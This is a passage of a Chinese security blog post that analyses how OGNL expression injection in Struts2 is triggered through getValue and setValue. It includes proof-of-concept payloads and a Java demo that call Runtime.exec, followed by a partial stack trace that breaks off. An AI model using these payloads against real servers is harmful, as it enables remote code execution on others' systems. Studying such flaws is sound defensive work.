OGNL漏洞原理全解

 0x00 前言

说到OGNL,可能很多师傅都会想到struts2,在Struts2漏洞分析的道路上,可能在学习的过程中浅尝而止,也或许挨着分析了一遍,但是每次都是停到了setValue或者getValue这里,本篇将和大家分享,setValue和getValue中详细的内容,揭开Struts2最后一层纱,看完本篇后,希望可以对整个系列,包括并不限于Struts漏洞系列有一个更深的了解。

知识浅薄,往各位大佬留情。

0x01 漏洞触发方式

关于OGNL的基础知识我们就不啰嗦了,网上一查一大堆,我们主要还是说通过什么方式可以触发,通常我们触发是通过两个方式触发的,一种是setvalue,还有一种是getvalue,所有的漏洞都是通过这两个方法来进行触发的,就类似于jndi漏洞的lookup一样。

市面上的payload主要分为两种,一种是setvalue的payload,还有一种是getvalue的payload,在本篇中,将会详细讲述两种payload的区别,以及为什么payload要这样构造的原因。

"@java.lang.Runtime@getRuntime().exec('calc')"

("@java.lang.Runtime@getRuntime().exec('calc')")(aba)(aba)

0x02 getValue

我们先从相对基础以及简单的getValue开始讲起,首先是Demo

   public static void main(String[] args) throws OgnlException {
        Map context = new HashMap();
        Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", context, "");
    }

然后是完整的调用链:

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:491, OgnlRuntime (ognl)
callAppropriateMethod:785, OgnlRuntime (ognl)
callMethod:61, ObjectMethodAccessor (ognl)
callMethod:819, OgnlRuntime (ognl)
getValueBody:75, ASTMethod (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:109, ASTChain (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, Simp
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值